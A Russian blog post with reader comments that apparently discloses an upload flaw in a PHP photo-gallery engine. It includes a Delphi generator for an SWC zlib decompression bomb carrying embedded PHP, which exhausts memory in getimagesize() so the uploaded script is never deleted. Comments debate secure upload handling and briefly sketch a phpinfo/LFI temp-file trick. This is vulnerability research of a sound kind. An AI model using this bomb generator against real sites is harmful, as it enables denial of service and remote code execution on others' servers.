Опасный getimagesize() или Zip Bomb для PHP

    Рекурсия

    В Питер снова пришла осень, и рабочее настроение, которое подвергалось постоянной атаке солнечной радиации вот уже целую неделю, решило, что с него хватит, и улетело в ещё не задраенную форточку.

    «Отлично, — подумал я, — самое время поковырять какой-нибудь движок, пока оно не вернулось!»

    Сказано — сделано. Под катом предлагаю небольшой обзор уязвимости в распространённом движке фото-галереи на PHP и о том, как можно положить любой сайт, использующий getimagesize(), с помощью бородатой zip-бомбы (или пета-бомбы).

    Как известно, целью любого взлома является бочка мёда попытка утащить что-нибудь — либо с клиентской стороны (имеем в виду XSS), либо с серверной (имеем в виду RCE, Remote Code Execution). Последнее, конечно, связано с приятным общением куда более перспективно — имея возможность выполнять код (shell.php aka «eBay Style») можно утянуть всю пользовательскую базу, а заодно и добавить пару-тройку XSS.

    Самая прямая дорога к RCE — возможность загрузки файлов на сервер. Это можно делать под разными соусами — чаще всего в виде котиков… прошу прощения, изображений. В самом деле, сегодня любой уважающий себя форум или соцсеть позволяет нам загружать как минимум аватары.

    Но мало просто загрузить код на сервер — нужно заставить его (сервер) выполнить этот код. Здесь на помощь строителям демократии приходят и проблемы с настройкой try_files в nginx, и обрезание строки с помощью %00, и даже банальный обход проверки MIME и загрузки *.php напрямую (но это совсем тяжёлый случай, движки, грешащие этим, скорее всего имеют ещё пару десятков других дыр).

    И даже когда код загружен и имеет ненужное расширение — его ещё нужно найти. Часто движки генерируют имена файлов случайным образом, иногда — последовательно на основе ID записи в БД. Однако обычно это меньшая проблема, чем собственно загрузка самого скрипта.

    Как видим, возможностей усложнить жизнь хакера — хоть отбавляй. Однако иногда встречаются весьма забавные косяки, и об одном из таких ниже.

    Когда размер имеет значение


    В рассматриваемом мной движке за загрузку файлов отвечает всего одна функция и начинается она так:
    function process_upload($upload) {
      $ext = explode('.', $upload['name']);
      $ext = strtolower($ext[count($ext)-1]);
      $filename = md5_file($upload['tmp_name']);
      
      move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext);
      $info = getimagesize('temp/'.$filename.'.'.$ext);
      
      $tmp_ext = str_replace('image/', '', $info['mime']);
      if ($ext != $tmp_ext) {
        rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext);
        $ext = $tmp_ext;
      }
      
      if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') {
        unlink('temp/'.$filename.'.'.$ext);
        return false;
      }
      // Проверки пройдены, далее обработка легитимной загрузки.
    

    Функция process_upload() на вход получает запись из $_FILES — то есть массив такого формата:
    $upload = array(
      'name' => 'локальное_имя.jpg', 
      'tmp_name' => '/var/tmp/php-upload.temp', 
    )
    

    Как видим, здесь происходит следующее:

    1. Генерация имени конечного файла по его содержимому (aka md5sum $tmp_name)
    2. Добавление к этому имени оригинального расширения
    3. Перемещение загруженного файла во временную папку по этому имени; папка видна извне как example.com/temp
    4. Проверка формата файла — если расширение отличается от того, которое соответствует формату, то файл во временной папке переименовывается под «настоящее» расширение
    5. Если файл — не изображение — он удаляется

    Для нас крайне интересно происходящее между пунктом 3 и 4. Между проверкой на вшивость на формат файла и удалением этого файла есть как минимум две операции: вызов getimagesize() и rename(). Последний нас мало интересует — он действительно работает быстро, или не работает — но тогда PHP выдаёт предупреждение и следом выполняется unlink(), который заметает следы.

    А вот getimagesize() нас очень даже волнует. Можно ли заставить её «подождать», пока мы запустим наш скрипт в temp?

    Use the sources, Luke


    Проверка на формат файла — потенциально сложная операция. Эта функция существует в PHP уже с десяток лет, ей не нужна библиотека GD и она включена во все сборки интерпретатора. Она поддерживает 20 форматов и код её модуля занимает почти 1500 строчек. Естественно, там должно быть что-то, что мы сможем проэксплуатировать.

    Как всякое дело начинается с хорошо продуманного плана, так всякий white box-пентест начинается с исходников. Интересующий нас модуль — php-5.5.12\ext\standard\image.c. После нескольких минут изучения кода я наткнулся на очень интересную функцию, которая работает с форматом SWC — Shockwave Flash Compressed (я про такой слышу впервые). А именно:
    // При вызове функции курсор stream находится на 4-м байте, после магической подписи 'CWS'.
    static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC)
    {
    struct gfxinfo *result = NULL;
    
    long bits;
    unsigned char a[64];
    unsigned long len=64, szlength;
    int factor=1,maxfactor=16;
    int slength, status=0;
    char *b, *buf=NULL, *bufz=NULL;
    
    b = ecalloc (1, len + 1);
    
    if (php_stream_seek(stream, 5, SEEK_CUR))
        return NULL;
    
    if (php_stream_read(stream, a, sizeof(a)) != sizeof(a))
        return NULL;
    
    if (uncompress(b, &len, a, sizeof(a)) != Z_OK) {
        /* failed to decompress the file, will try reading the rest of the file */
        if (php_stream_seek(stream, 8, SEEK_SET))
            return NULL;
    
        slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0);
        
        /*
         * zlib::uncompress() wants to know the output data length
         * if none was given as a parameter
         * we try from input length * 2 up to input length * 2^8
         * doubling it whenever it wasn't big enough
         * that should be eneugh for all real life cases
        */
        
        do {
            szlength=slength*(1<<factor++);
            buf = (char *) erealloc(buf,szlength);
            status = uncompress(buf, &szlength, bufz, slength);
        } while ((status==Z_BUF_ERROR)&&(factor<maxfactor));
    

    Код интересен тем, что при неудачной попытке распаковать первые 64 байта после заголовка (то есть начиная с 0x08) он войдёт в цикл, пытаясь распаковать весь входной буфер до 9 раз. Это должно быть ресурсоёмкой операцией и должно дать нам пару сотен миллисекунд для перехода на наш скрипт. А там хоть потоп.

    … Спустя полчаса различных надругательств над сжатыми данными я так и не смог добиться какой-либо существенной задержки. То ли моя система слишком быстрая, то ли и правда разжать пару сотен мегабайт 8 раз подряд для Zlib — не большая проблема. Я уже готов был двинуться на поиски следующей уязвимости, как…

    «Постойте… пару сотен мегабайт?»

    Facepalm

    640 петабайт хватит для всех


    Кто помнит — в начале 2000-х этим способом ложили некоторые почтовые сервера, которые пытались отфильтровать архивы с нежелательным содержимым. Суть атаки проста: если алгоритм сжатия, подобный LZ, проходит по сжимаемому потоку, находя в нём уже встреченные ранее фрагменты и заменяя их на ссылки (скажем, двухбайтовые), то мы можем создать такой архив, который на каждые 4 байта (2 для смещения и 2 для длины) сжатых данных будет создавать 65536 разжатых байт. Таким образом, 4 килобайта после распаковки станут 64 мегабайтами. Достаточно забить весь входной файл одним и тем же символом. Это упрощённо.

    На практике реальный LZ будет действовать не так эффективно, но даже без всяких ухищрений простым zip мы можем получить файл в 10 Мб из исходного файла с нулями в 11 Гб.

    PHP по умолчанию настроен на максимальную загрузку файла в 2 Мб и максимально доступную скрипту память в 128 Мб. Легко подсчитать, что двухмегабайтовый архив потребует где-то один гигабайт памяти для распаковки. Часто сервера настраивают для допуска 5-10 мегабайтовых файлов, особенно если это касается файловых хранилищ… или фото-галерей.

    Возвращаясь к нашим котикам. Как видно по коду функции php_handle_swc(), нам достаточно создать файл следующего вида:
    0000h: 43 57 53 00 00 00 00 00 78 DA  CWS.....xÚ
    

    Первые 3 байта — магическая подпись формата SWC, следующие 5 — заголовок (в php_handle_swc() не используется), а затем идёт сжатый Zlib-поток. Здесь он начинается с 78 DA, что соответствует максимальной степени сжатия.

    Нам достаточно испортить какой-то фрагмент данных в сжатом потоке и PHP войдёт в цикл распаковки, попытается распаковать нашу «бомбу», у скрипта закончится выделенная память — и… интерпретатор прервёт его выполнение!

    Это означает, что try..catch (если бы он был) не будет вызван и не сможет обработать исключение — удалив наш файл, например — и только если скрипт установил свой обработчик register_shutdown_handler(), то он будет вызван и там можно будет отследить исключение. Но обычно этого не делают, так как это не совсем «логичная» логика. Хотя и в духе старого PHP.

    (Для полноты картины надо сказать, что поддержка Zlib в PHP может быть отключена, и как следствие поддержка SWC в getimagesize() — тоже. Однако большинство серверов используют Zlib.)

    Генератор «бомбы» на моём любимом Delphi:
    program BombSWC;
    
    {$APPTYPE CONSOLE}
    
    uses ZLibEx, Classes;
    
    const
      Header = 'CWS'#0#0#0#0#0;
    var
      I: Integer;
      Input: String;
      Buf: Pointer;
      Stream: TFileStream;
    begin
      SetLength(Input, 800 * 1024 * 1024);    // 800 ??.
      FillChar(Input[1], Length(Input), 0);
      ZCompress(@Input[1], Length(Input), Buf, I, zcMax);
    
      Stream := TFileStream.Create('bomb.php', fmCreate);
      Stream.WriteBuffer(Header[1], Length(Header));
      Stream.WriteBuffer(Buf^, I);
      Stream.Seek(-1000, soFromEnd);
      Input := '<?php phpinfo();?>';
      Stream.WriteBuffer(Input[1], Length(Input));
      Stream.Free;
    end.
    

    В итоге из 800 Мб получаем 796 Кб и выглядят они так:
    0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00  CWS.....xÚìÁ.... 
    0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00  .€
    ... сжатый поток ...
    C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
    C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66  ....<?php phpinf 
    C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00  o();?>.......... 
    C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
    ... ещё немного сжатых байт ...
    C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
    C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01              ......¿.î...
    

    Файл выше — корректный PHP-скрипт, кто не верит может убедиться. Да, он выведет мусор в начале и в конце, но это не помешает ему выполниться.

    Осталось только загрузить нашу «картинку» на сервер…

    Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 834916352 bytes)

    Pwned

    — General Protection Fault —
    Публиковать ли ещё статьи об уязвимостях?

    Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама
    Комментарии 101
    • +19
      это бред какой-то, сначала сохранять файл, а потом проводить его валидацию, и удалять в случаи неуспеха
      что это за движок такой?
      • +9
        Бред здесь не в сохранении файла — это необходимость из-за safe mode и open base dir, а в других деталях:
        1. Сохранение файла в папку temp, которая почему-то доступна извне.
        2. Проверка файла на mime-type — нигде не видела, чтобы так делали.
        3. Сохранение под начальным названием файла, отсутствие проверки на расширение и возможность запуска под этим именем.

        Но автору все равно респект, все дружно проверяем свои движки!
        Помню приходилось делать register shutdown при загрузке mp3.
        • 0
          Бред здесь не в сохранении файла — это необходимость из-за safe mode и open base dir

          можно в деталях, пожалуйста?
          • 0
            При загрузке файла PHP помещает его во временную папку со случайным названием файла. Если в настройках PHP задан параметр open_base_dir и временная директория не входит в предел видимости open_base_dir, то манипуляции с загруженным файлом будут запрещены.
            Для работы с ним существует функция move_uploaded_file, которая сохраняет только загруженные файлы в другое место.

            Название временного файла будет храниться в ключе tmp_name массива $_FILES['название_параметра_для_файла'].
            При попытке, например, обратиться к нему getimagesite($_FILES['file']['tmp_name']) получим ошибку
            Warning: getimagesize(): open_basedir restriction in effect. File(/tmp/phpncFYlY) is not within the allowed path(s):


            Соответственно, файл нам сохранить все же придется.
            • +4
              Только сохранять его нужно вне DocumentRoot или как в вашем вебсервере это называется. Ну или хотя бы в директории, доступ к которой через веб закрыт. В худшем случае — в которой не выполняются скрипты.
              • +1
                Вообще-то манипуляции с загруженным файлом напрямую во временной директории — это уже звоночек, что вы делаете что-то не так. Вне зависимости от значения open_base_dir, с загруженными файлами лучше работать через move_uploaded_file, эта функция для этого и создавалась.
                • +2
                  Я отвечала на комментарий beat о том, что сохранить как раз таки нужно. Только это пришло в голову, когда он написал:
                  это бред какой-то, сначала сохранять файл, а потом проводить его валидацию, и удалять в случаи неуспеха

                  Показалось, что он напрямую обращается к загруженному файлу (а может оно так и есть, знает только автор).
                  • +1
                    Ну я понял, что вы про загрузку как раз) Просто вначале вы странный кейс описали, не рекомендую никому так делать)
                  • НЛО прилетело и опубликовало эту надпись здесь
                    • +1
                      Потому что для работы с загружеными файлами специально есть функция move_uploaded_file, которая делает это безопасно и является общепринятым способом. Не нужно самому копаться во временной директории, когда в языке есть функционал для нормальной работы в этом случае.
                      • +2
                        если нужно проанализировать содержимое файла ДО того, как он будет помещён в окончательную директорию, этот анализ лучше делать во временной

                        ну или придётся перемещать его в «другую временную», а потом опять, уже на окончательное место (ну или удалять)
                        • –1
                          Не вижу проблемы в том, что у приложения есть своя временная папка или в том чтобы удалить файл, если он не прошел проверку.
                          • +7
                            Не вижу проблемы в том, что у приложения есть своя временная папка или в том чтобы удалить файл, если он не прошел проверку.

                            Вы видно и статью-то по диагонали прочитали. Там именно происходит так: перемещают в свою папку, а потом проверяют, и если не прошёл проверку — удаляют. Точно так, как вы сказали.

                            Только вот в функции, которая делает проверку, нашли баг, и скрипт на этом этапе вылетает, не успев удалить файл. Упс…

                            А если бы мы проверяли в /tmp, а потом если надо перемещали — проблемы бы не возникло.

                            Ваш подход аналогичен «разрешено всё, что не запрещено». Мой — «запрещено всё, что не разрешено». Второе правильнее.
                        • +1
                          Is_uploaded_file() вам в помощь.
                          • НЛО прилетело и опубликовало эту надпись здесь
                          • 0
                            На самом деле настоящая причина как раз таки в безопасности. А конкретно в инкапсуляции.
                            Есть система, в ней есть системные папки (например, временная), которые доступны всем. Если дать к ней доступ PHP-скриптам — это огромная дыра в безопасности (можно подменить любые чужие временные файлы).
                            Дальше, если в PHP настраиваем upload_tmp_dir, то это «межпроектовая» дыра (то же самое, только не на уровне всей системы, а на уровне PHP-процессов.
                            • +1
                              по-моему временна директория как раз и предназначена для хранения всякого мусора, временных файлов, или что там можно найти интересного? даже не знаю, часть пользовательских сессий, пока за ними не пришел garbage collection?
                              • 0
                                Вы представляете, что будет при возможности изменения файлов сессий? Мусор, как вы говорите, на данный момент считается самой ценной целью взлома любой системы.
                                И еще раз, временная папка (если речь о ней) — она на всю систему, не только на PHP.
                                • –2
                                  Так для чего вообще нужна системная временная директория, по-вашему?
                                  • –1
                                    Нужна для хранения временных файлов, но это не значит, что любому процессу можно ее отдавать.
                                    Если вы говорите об этом примере, то это всего лишь пример.
                                    И с open_base_dir без системной временной папки — это не прокатит.
                                    Warning: tempnam(): open_basedir restriction in effect. File(/tmp) is not within the allowed path(s):


                                    Если вам так нужна временная папка — ничего не мешает сделать ее самому на уровне конкретного web-ресурса.
                                    • –1
                                      Но зачем? У общесистемной есть отдельные плюсы, например:

                                      * Устаревшие сессии PHP будет подчищать сам
                                      * Файлы, не перемещённые оттуда с помощью move_uploaded_file, он будет подчищать сам

                                      Кстати, последнее полностью нивелирует проблему, изложенную в статье (скрипт упал до того, как удалил файл).

                                      То есть, если бы мы с самого начала не стали тянуть каку в рот (забирать оттуда непроверенный файл), даже после падения проверки он сам удалился бы. Так что надёжнее и безопаснее — проверить в /tmp и если не нужен — не брать (т.е. «брать только то, что нужно»), чем забрать к себе, проверять и если не нужен — удалить («брать всё и потом выбрасывать»).

                                      • –1
                                        Не понимаю причем тут сессии? Я не предлагаю для сессий создавать свою временную папку для каждого проекта.
                                        Я предлагаю не давать к ней доступ из скриптов!
                                        session_start и $_SESSION при этом будет работать.
                                        • –2
                                          Так скриптам тоже бывают нужны временные файлы. Например, только что загруженные и про которые ещё неизвестно, нужны ли они и хотим ли мы их хранить.
                                          • –1
                                            Вот скриптам и создайте временную ограниченную open_base_dir директорию.
                                            • –2
                                              А зачем, зачем создавать ещё одну, если такая уже есть? Пусть /tmp будет в open_basedir и всё. Зачем мне отдельная временная директория?
                                              • –1
                                                Расскажите, пожалуйста, в чем по вашему смысл директивы open_basedir, если она захватывает системные папки?
                                                • –2
                                                  Вообще, по большому счёту, никакого смысла в open_basedir нет. Это костыль, как и safe mode.

                                                  Вон, в соседней ветке обсуждают Django — там нет никакого safe mode, нет никакого open_basedir, и никто не жалуется. Тем не менее, проблем безопасности типа RCE у них прилично так меньше, поскольку исполняемый скрипт недоступен через веб и указан в конфиге сервера приложений, а не как с PHP, любой файл с подходящей маской имени и находящийся внутри дерева документов является исполняемым скриптом.

                                                  Однако, а что такого священного в системных ресурсах? Куда важнее защитить данные, а не системные директории.
                                                  • 0
                                                    Вообще, по большому счёту, никакого смысла в open_basedir нет. Это костыль, как и safe mode.

                                                    Вот это и стоило обсуждать. Потому что весь диалог и шел в контексте open_basedir и ваше аргументы неверны в таком случае.

                                                    А про open_basedir, как и про любую другую особенность языка смысла спорить не вижу. Она есть потому, что разработчиков на PHP в тысячи раз больше и их уровень сильно отличается от разработчиков на других языках.
                                                    Но не соглашусь, что это какой-то костыль — это обычная фишка, коих хватает в каждом языке.

                                                    Тем не менее, проблем безопасности типа RCE у них прилично так меньше, поскольку исполняемый скрипт недоступен через веб и указан в конфиге сервера приложений, а не как с PHP, любой файл с подходящей маской имени и находящийся внутри дерева документов является исполняемым скриптом.

                                                    Спорить о достоинствах этого тоже считаю глупым холиваром.

                                                    Однако, а что такого священного в системных ресурсах? Куда важнее защитить данные, а не системные директории.

                                                    Священного ничего нет, как и в данных, мы же не о религии говорим вроде? А важного много чего может быть. Не хотите — не защищайте, лично я стараюсь ограничить исполняемые скрипты только необходимыми для их работы возможностями, а не гадать — есть ли что-то важное на жестком диске сервера.
                                  • 0
                                    по-моему взломщик уже получил доступ к файлам, от он и так уже получит и всю базу, и файлы, и скрипты
                                • 0
                                  можно подменить любые чужие временные файлы

                                  не знаю как у вас, а я создаю там временные файлы с правами 600
                                  давайте, подмените
                                  • 0
                                    Я вроде не говорила, что нельзя защититься от этого? Я отвечала на вопрос — почему, по-умолчанию, рекомендуется этого не делать.
                                    Предполагается, что люди, способные осознать всю глубину проблемы — не нуждаются в советах для широкой аудитории.

                                    По поводу ваших прав на 600, а создаете их вы средствами чего? 600 — это права доступа владельца на чтение и запись.
                                    Дайте угадаю, кто будет владельцем при, например, запуске apache+php в обоих случаях?
                                    • 0
                                      Я знал, что последует этот вопрос.

                                      Если apache+mod_php, то mpm_itk и скрипты каждого виртуалхоста выполняются от отдельной учётной записи. Так что не угадаете.

                                      Кроме того, если бы на шареде все PHP исполнялись от одного пользователя, я мог бы всё равно залезть в чужие сессии.
                                      • 0
                                        Т.е. возвращаемся к первоначальному ответу — если мы осознаем проблему, мы способны от нее защититься?
                                        • –1
                                          Я понял, что вы поняли. Я хотел подчеркнуть, что если «дай угадаю» и все PHP-скрипты всех пользователей сервера выполняются от одного и того же имени, просто перемещением сессий или чего угодно вовне /tmp вы проблему не решаете никак. Потому, что всё равно это всё будет доступно интерпретатору, и соответственно, любому пользователю.

                                          То есть, без разницы, работать ли в /tmp или где-то ещё: если сервер настроен безопасно, и в /tmp будет безопасно; если он настроен криво, куда не положи — дыра будет. А поскольку /tmp специально предназначен именно для работы с временными файлами, для этого лучше его и использовать, не изобретая велосипеды и костыли.

                                          Кстати, сам PHP по умолчанию сессии создаёт в /tmp и с правами 600, специально проверил.
                                          • 0
                                            Подождите, мы говорим о загруженных файлах и директиве open_base_dir так?
                                            Никаких прав на доступ к /tmp с ней у нас нет. Если мы даем такой доступ, то нам приходится уже защищаться от другой проблемы — доступа к системной папке.
                                            Далее, мы говорим о PHP, а не об остальных возможностях защитить наш сервер. PHP не знает, кто его запустит. Может быть разные пользователи, может быть один. Может быть безопасный http-сервер, а может быть и не очень.
                                            PHP инкапсулированно в себе предлагает не создавать дыру в безопасности. Что тут нелогичного?
                                            • 0
                                              То, что подход, который вы предлагаете для «не создавания дыры в безопасности» не работает на небезопасном сервере, а на безопасном он просто не нужен.

                                              /tmp — системная папка специально для временных файлов, в чём проблема с доступом к ней, если она специально задумана так, чтобы доступ был?
                                              • –2
                                                То, что подход, который вы предлагаете для «не создавания дыры в безопасности» не работает на небезопасном сервере, а на безопасном он просто не нужен.

                                                Во-первых, я конкретный подход не предлагала, а описывала рекомендации и возможности PHP.
                                                Во-вторых, почему это не работает? Вы так и не объяснили вашу позицию. Вот задан у нас open_base_dir и файлы грузятся через move_uploaded_file. При выполнении скриптов от одного пользователя — какие проблемы безопасности? Может быть, я что-то упускаю, конечно?

                                                /tmp — системная папка специально для временных файлов, в чём проблема с доступом к ней, если она специально задумана так, чтобы доступ был?

                                                Потому что есть разные уровни доступа. Например PHP был задуман чтобы автоматизировать часть процессов, но это не значит, что пользователю web-ресурса можно запускать произвольные скрипты (например, запустить на хабре php-скрипт-фильтр, который автоматом уберет из ленты комментарии с рейтингом -500). Точно так же есть уровни доступа и на сервере: для системных процессов — одни, для разработчиков — другие, для скриптов, выполнящихся http-серверов — третие, для скриптов из crontab — четвертые.
                                                • 0
                                                  Откуда рекомендации? На php.net ничего такого нет. Я как раз пытаюсь показать, что подобные рекомендации лишены смысла, а то и вредны.

                                                  Напомню, в статье описан случай: перемещаем к себе, проверяем, если не нужен — удаляем. Но проверка падает, файл не удаляется. Если бы мы проверили до перемещения (да, доступ к /tmp должен быть разрешён, и я не понимаю, зачем его запрещать), даже при падении проверки файл был бы удалён. То есть, ваша рекомендация в данном случае принесла бы больше вреда, чем пользы.

                                                  Про уровни доступа не понял, вообще это к чему здесь? Есть некий системный ресурс, который задуман как «можно всем» (вне зависимости от уровня доступа). К чему возникла речь про выполнение произвольных скриптов и так далее — не улавливаю, это как-то за рамками темы.
                                                  • –2
                                                    Откуда рекомендации? На php.net ничего такого нет. Я как раз пытаюсь показать, что подобные рекомендации лишены смысла, а то и вредны.

                                                    www.php.net/manual/ru/function.move-uploaded-file.php
                                                    Эта функция проверяет, является ли файл filename загруженным на сервер (переданным по протоколу HTTP POST). Если файл действительно загружен на сервер, он будет перемещён в место, указанное в аргументе destination.

                                                    Такая проверка особенно важна в том случае, если существует шанс того, что какие-либо действия, производимые над загруженным файлом, могут открыть его содержимое пользователю или даже другим пользователям системы.


                                                    Это по поводу вообще проверки — наш ли это файл загружен. Вы скажете, что есть is_uploaded_file, но это возвращает нас к обсуждению смысла open_base_dir, которое вы избегаете.

                                                    Если бы мы проверили до перемещения (да, доступ к /tmp должен быть разрешён, и я не понимаю, зачем его запрещать), даже при падении проверки файл был бы удалён.


                                                    Возможно, вы удивитесь, но загружаемый файл удаляется
                                                    www.php.net/manual/ru/features.file-upload.post-method.php
                                                    По окончанию работы скрипта, в случае, если принятый файл не был переименован или перемещен, он будет автоматически удален из временной папки.


                                                    Так что, я не понимаю о каких вредных рекомендациях вы говорите, с учетом того что open_base_dir ни в коем случае не дал бы нам доступ из web-морды к upload_tmp_dir, в отличии от вашего примера.

                                                    «можно всем»

                                                    Ну это ваше личное видение.
                                                    • 0
                                                      Это по поводу вообще проверки — наш ли это файл загружен. Вы скажете, что есть is_uploaded_file

                                                      Ммм, то есть, по-вашему PHP настолько говно, что в моём массиве $_FILES может быть не мой загруженный файл?

                                                      Зачем ЭТО проверять? Всё, что в $_FILES — моё, файлы, переданные моему скрипту через POST. В is_uploaded_file тоже, таким образом, мало смысла.

                                                      Возможно, вы удивитесь, но загружаемый файл удаляется
                                                      www.php.net/manual/ru/features.file-upload.post-method.php

                                                      По окончанию работы скрипта, в случае, если принятый файл не был переименован или перемещен, он будет автоматически удален из временной папки.

                                                      Перечитайте, пожалуста, то, на что отвечали. ОБ ЭТОМ Я И ГОВОРЮ. Повторю: если я переместил файл (как вы предлагаете), а потом упала проверка, до удаления дело не дойдёт — я переместил его, и в лучшем случае он там останется лежать бесполезным мусором, а в худшем — будет ситуация как в статье. Поэтому нельзя пользоваться этим советом, совет — вредный.

                                                      Если бы я проверял файл там, куда его мне положили во временной директории, и проверка упала бы, то файл был бы автоматически удалён PHP после падения скрипта — т.к. я его не перемещал. Никакой проблемы с мусором нет. Поэтому верный совет — проверить, нужен ли нам вообще этот файл, и забирать его к себе move_uploded_file только если был нужен. И игнорировать, если не был нужен — удалится само.

                                                      Ну это ваше личное видение.

                                                      режим 0777, видно, один я вижу
                                                      • 0
                                                        Перечитайте, пожалуста, то, на что отвечали. ОБ ЭТОМ Я И ГОВОРЮ. Повторю: если я переместил файл (как вы предлагаете), а потом упала проверка, до удаления дело не дойдёт — я переместил его, и в лучшем случае он там останется лежать бесполезным мусором, а в худшем — будет ситуация как в статье. Поэтому нельзя пользоваться этим советом, совет — вредный.

                                                        Вы просто подгоняете ситуацию конкретно под этот пост. А мы говорим о совершенном разных вещах.
                                                        Я говорю о глобальной защите скриптов через open_basedir и, как следствие, необходимости переместить файл в место, где я смогу с ним работать (проверять и т.д.). Вы считаете, что open_basedir не нужно — это ваше право, но тема совершенно другая.
                                                        Я не предлагала переместить файл в папку доступную извне? Вроде, нет.
                                                        То, что у вас случайно получится избежать именно этой атаки ни о чем не говорит, да и получится ли?
                                                        Если бы я проверял файл там, куда его мне положили во временной директории, и проверка упала бы, то файл был бы автоматически удалён PHP после падения скрипта

                                                        Это если будет кому его еще удалять (живой GC), ведь так?
                                                        • 0
                                                          Вы просто подгоняете ситуацию конкретно под этот пост. А мы говорим о совершенном разных вещах.

                                                          Здрасте, я вроде бы пишу в комментарияк конкретно к этому посту. Не уходите в оффтопик ;)

                                                          Даже если файл перемещается в «другую временную директорию», недоступную через веб, он может там так и остаться (ну, опять же, при падении во время проверки). То есть, будет хотя бы занимать место, а может быть и зацеплен через уязвимость типа file inclusion. Не хотелось бы иметь в системе непонятных файлов, где угодно. Либо полученные от пользователя файлы должны быть проверены и нужны, либо они не должны оставаться в системе вообще. И да, open_basedir не поможет в данном случае никак.

                                                          Это если будет кому его еще удалять (живой GC), ведь так?

                                                          Да. Надо понимать, что он выживает чаще, чем скрипт. Упавший GC в случае с mod_php примерно равносилен упавшему процессу вебсервера, в котором выполняется интерпретатор. А скрипт обычно и убивается самим интерпретатором при различных условиях, то есть, слишком много памяти запросил, слишком долго выполняется и так далее. GC интерпретатор
                                                          Поэтому на встроенный GC рассчитывать надёжнее, чем на то, что скрипт доработает до конца.
                                                          • 0
                                                            (… не дописал...) GC интерпретатор не будет убивать, убивая скрипт, а наоборот, вызовет, чтобы подчистить за ним мусор.
                                                            • 0
                                                              Здрасте, я вроде бы пишу в комментарияк конкретно к этому посту. Не уходите в оффтопик ;)

                                                              Да. Надо понимать, что он выживает чаще, чем скрипт. Упавший GC в случае с mod_php примерно равносилен упавшему процессу вебсервера, в котором выполняется интерпретатор.

                                                              Вы пишите про вредность совета для всех случаев или конкретно как обойти эту уязвимость?
                                                              В этом посте не упадет, а в следующем может и упадет. Мы говорим об уязвимостях. Именно поэтому вы подгоняете ситуацию под этот пост. Конкретно, эту уязвимость ваш способ решит (оставим открытым кучу дыр, но ладно), а вот остальные нет.
                                                              Но слава богу у вас GC жив. Тогда можете указать upload_tmp_dir в директорию с open_basedir и будем вам счастье. Помогу, с конфигом для apache
                                                              php_admin_value open_basedir /var/www/sites/site.ru
                                                              php_admin_value upload_tmp_dir /var/www/sites/site.ru/upload
                                                              • 0
                                                                Если некий совет претендует на общность и хотя бы в одном случае он вредный, то — он вредный в целом, потому, что не определены границы применимости и условия. То есть, кто-нибудь непременно последует ему бездумно как раз в той ситуации, где надо было делать по-другому. Не надо таких советов.

                                                                Впрочем, если вы находите open_basedir полезным, то вариант с переназначением upload_tmp_dir действительно лучше, чем поход «скопировать и потом по результатам анализа удалять». То есть, я допустил бы такое решение, но потребовал бы аргументировать, чем именно не устраивает стандартная директория /tmp и разделение прав средствами unix. Мало ли, какие дополнительно ограничения у меня есть на /tmp, типа nodev nosuid noexec и мандатного контроля прав, которым я как администратор доверяю больше, чем php open_basedir.
                                                                • –1
                                                                  1. С какой целью мне создавать себе дополнительную кучу забот, проверяя нет ли у меня дыр во всем серваке, везде ли правильные права и т.д. Это я бы попросила вас аргументировать бессмысленное увеличение прав скрипта. И про недоверие туда же — зачем мне одна степень безопасности вместо двух, если я ничего не теряю при этом.
                                                                  2. Расскажите подробнее как вы откроете доступ к /tmp при помощи open_basedir и где при этом у вас лежат файлы проекта.
                                                      • –1
                                                        его запрещают для того чтоб не могли сделать LFI в tmp. Вкратце о реализации, отправляют на phpinfo evil файл с заранее увеличенным размером пока сервак ждёт файл до конца, получают имя файла в tmp, юзают LFI баг, исполняют код.
                                    • 0
                                      Манипуляции можно проводить там же — во временной папке, но после move_uploaded_file. После чего уже класть в рабочее место чистенький и обработанный файлик (само собой удаляя его из /tmp).
                                      • 0
                                        Ну а чем это безопаснее манипуляций ДО move_uploaded_file?
                                        • –1
                                          Потому что, ДО move_uploaded_file манипуляции сделать невозможно, нет? При правильно настроенном сервере.
                                          Более того (могу ошибаться, но мне всегда казалочь, что это так) move_uploaded_file может выполнить только тот же процесс apache/php, кто его принял и положил на диск
                                          • +1
                                            А почему это невозможно? Возможно. При правильно настроенном сервере.

                                            Лень проверять, но если память не изменяет, к этому файлу доступ может получить кто угодно, но на нём режимы 0600 и он существует до перемещения move_uploaded_file или до завершения скрипта (удаляется по завершении, если не был перемещён).
                                            • 0
                                              Смотря какие манипуляции :-) Удалить можно. А вот изменить размер по-моему нельзя
                                              • 0
                                                Ах. Если файл нужен не весь, а будет подвергаться обработке на лету, то я не стал бы это делать in place. Вынул бы всё, что мне из него нужно, а сам он пусть удаляется.
                                                • –1
                                                  1. Apache/PHP кладет файл в /tmp (понятно что она не должна быть доступна web-серверу, который может что-то запускать)
                                                  2. Делаете move_uploaded_file опять же в /tmp с каким-то именем (алгоритм которого знаете только вы — повышаем безопасность)
                                                  3. Обрабатываете как надо файл.
                                                  4. Shutdown function на всякий случай для удаления (GC по сути)
                                                  5. Перемещаете в нужное место (как вариант доступное из web-сервера, хотя в настоящее время для картинок обычно это уже не apache/php — что тоже повышает безопасность)
                                  • +2
